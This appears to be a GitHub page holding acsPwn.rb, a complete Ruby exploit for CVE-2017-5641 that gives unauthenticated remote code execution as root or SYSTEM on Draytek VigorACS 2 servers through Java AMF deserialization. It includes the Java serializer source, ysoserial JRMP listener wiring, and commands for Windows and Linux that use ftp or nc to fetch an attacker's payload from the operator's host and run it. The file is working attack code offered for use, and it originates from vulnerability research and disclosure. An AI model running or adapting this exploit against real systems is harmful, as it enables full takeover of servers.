-
Notifications
You must be signed in to change notification settings - Fork 170
/
acsPwn.rb
225 lines (185 loc) · 7.85 KB
/
acsPwn.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#!/usr/bin/ruby
=begin
Exploit for Draytek VigorACS 2 unauthenticated remote code execution (unsafe Java AMF deserialization); CVE-2017-5641
By Pedro Ribeiro ([email protected]) from Agile Information Security
This exploit has only been tested in Linux. The two jars described below are required for execution of the exploit, and they should be in the same directory.
==
acsFlex.jar - build the following code as a JAR:
import flex.messaging.io.amf.MessageBody;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.AmfMessageSerializer;
import java.io.*;
public class ACSFlex {
public static void main(String[] args) {
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
// serialize object to AMF message
try {
byte[] amf = new byte[0];
amf = serialize((unicastRef));
DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2]));
os.write(amf);
System.out.println("Done, payload written to " + args[2]);
} catch (IOException e) {
e.printStackTrace();
}
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
}
==
ysoserial.jar:
- Patch ysoserial with CommonsCollections5Chained and CommonsCollections6Chain from https://github.com/frohoff/ysoserial/issues/71
- Or use the multiarg branch of https://github.com/frohoff/ysoserial, although this has not been tested and the exploit will need to be modified (specifically the YSOSERIAL, WINDOWS_CMD and LINUX_CMD variables)
=end
require 'ftpd'
require 'tmpdir'
require 'net/http'
require 'uri'
class String
def black; "\e[30m#{self}\e[0m" end
def red; "\e[31m#{self}\e[0m" end
def green; "\e[32m#{self}\e[0m" end
def brown; "\e[33m#{self}\e[0m" end
def blue; "\e[34m#{self}\e[0m" end
def magenta; "\e[35m#{self}\e[0m" end
def cyan; "\e[36m#{self}\e[0m" end
def gray; "\e[37m#{self}\e[0m" end
def bg_black; "\e[40m#{self}\e[0m" end
def bg_red; "\e[41m#{self}\e[0m" end
def bg_green; "\e[42m#{self}\e[0m" end
def bg_brown; "\e[43m#{self}\e[0m" end
def bg_blue; "\e[44m#{self}\e[0m" end
def bg_magenta; "\e[45m#{self}\e[0m" end
def bg_cyan; "\e[46m#{self}\e[0m" end
def bg_gray; "\e[47m#{self}\e[0m" end
def bold; "\e[1m#{self}\e[22m" end
def italic; "\e[3m#{self}\e[23m" end
def underline; "\e[4m#{self}\e[24m" end
def blink; "\e[5m#{self}\e[25m" end
def reverse_color; "\e[7m#{self}\e[27m" end
end
# FTP server (Windows)
class Driver
def initialize(temp_dir)
@temp_dir = temp_dir
end
def authenticate(user, password)
# actually the client hasn't downloaded it yet, just logged in, but whatever
puts '[+] Payload has been downloaded, wait for execution!'.green.bold
true
end
def file_system(user)
Ftpd::DiskFileSystem.new(@temp_dir)
end
end
def ftp_start (temp_dir, lhost, port)
driver = Driver.new(temp_dir)
server = Ftpd::FtpServer.new(driver)
server.interface = lhost
server.port = port
server.start
end
def tcp_start (payload, port)
pl = File.binread(payload)
server = TCPServer.new port
loop do
Thread.start(server.accept) do |client|
client.write(pl)
client.close
puts "[+] Payload has been downloaded, wait for execution!".green.bold
end
end
end
puts ""
puts "Draytek VigorACS 2 unauthenticated remote code execution (unsafe Java AMF deserialization)".cyan.bold
puts "CVE-2017-5641".cyan.bold
puts "Tested on version 2.2.1 for Windows and Linux, earlier versions are likely vulnerable".cyan.bold
puts "By Pedro Ribeiro ([email protected]) / Agile Information Security".blue.bold
puts ""
if (ARGV.length < 5 || (ARGV[3] != "Linux" && ARGV[3] != "Windows") || !File.file?(ARGV[4]))
puts "Usage: ./acsPwn.rb <rhost> <rport> <lhost> <Windows|Linux> <payload> [ssl]".bold
puts "Runs <payload> on the target as root or SYSTEM."
puts " rhost:\t\t\tDraytek Vigor ACS server host"
puts " rport:\t\t\tDraytek Vigor ACS server port"
puts " lhost:\t\t\tyour IP address"
puts " Windows|Linux:\t\ttarget type"
puts " payload:\t\tPayload that will be executed by the Vigor Server <rhost>"
puts " ssl:\t\t\tConnects to Vigor server using SSL (by default uses plain HTTP)"
puts ""
puts "NOTES:\tThis exploit requires the ftpd gem installed and the java executable in the PATH."
puts "\tThe included ysoserial.jar (patched for multiarg) and the included acsFlex.jar must be in the current directory."
puts "\tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target."
puts ""
exit(-1)
end
# we can use ysoserial's CommonsCollections5 or CommonsCollections6 exploit chain
YSOSERIAL = "ysoserial-patched.jar ysoserial.exploit.JRMPListener JRMP_PORT CommonsCollections6Chained "
WINDOWS_CMD = %{'cmd.exe /c @echo open SERVER PORT>script.txt&@echo binary>>script.txt&@echo get /PAYLOAD>>script.txt&@echo quit>>script.txt&@ftp -s:script.txt -v -A&@start PAYLOAD'}
LINUX_CMD = %{\'nc -w 2 SERVER PORT > /tmp/PAYLOAD; chmod +x /tmp/PAYLOAD; /tmp/PAYLOAD\'}
rhost = ARGV[0]
rport = ARGV[1]
lhost = ARGV[2].dup.force_encoding('ASCII')
os = ARGV[3]
payload_path = ARGV[4]
payload_name = File.basename(ARGV[4])
if ARGV.length > 5 && ARGV[5] == 'ssl'
ssl = true
else
ssl = false
end
Dir.mktmpdir { |temp_dir|
server_port = rand(10000..65535)
FileUtils.cp(payload_path, temp_dir)
puts "[+] Picked port #{server_port} for the #{(os == 'Windows' ? 'FTP' : 'TCP')} server".cyan.bold
# step 1: start the TCP or FTP server
if os == 'Windows'
ftp_start(temp_dir, lhost, server_port)
else
t = Thread.new{tcp_start(payload_path, server_port)}
end
# step 2: create the AMF payload
puts "[+] Creating AMF payload...".green.bold
jrmp_port = rand(10000..65535)
amf_file = temp_dir + "/payload.ser"
system("java -jar acsFlex.jar #{lhost} #{jrmp_port} #{amf_file}")
amf_payload = File.binread(amf_file)
# step 3: start the ysoserial JRMP listener
puts "[+] Picked port #{jrmp_port} for the JRMP server".cyan.bold
# build the command line argument that will be executed by the server
cmd = (os == 'Windows' ? "java " : "java -Dysoserial.prefix=\'/bin/sh -c\' ")
cmd += "-cp #{YSOSERIAL.gsub('JRMP_PORT', jrmp_port.to_s)}"
cmd_final = (os == 'Windows' ? WINDOWS_CMD : LINUX_CMD).gsub("SERVER", lhost).gsub("PORT", server_port.to_s).gsub("PAYLOAD", payload_name)
puts "[+] Sending command #{cmd_final}".green.bold
jrmp_pid = spawn((cmd + cmd_final))
sleep 5
Process.detach(jrmp_pid)
# step 4: fire the payload!
uri = URI.parse("http#{ssl ? 's': ''}:https://#{rhost}:#{rport}")
Net::HTTP.start(uri.host, uri.port, (ssl ? {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE } : {})) do |http|
http.post('/ACSServer/messagebroker/amf', amf_payload)
end
puts "[+] AMF payload sent, waiting 15 seconds for payload download...".green.bold
sleep 15
Process.kill("HUP", jrmp_pid)
if t
t.terminate
end
puts "[*] Payload should have executed by now, exiting!".bold
}
exit 0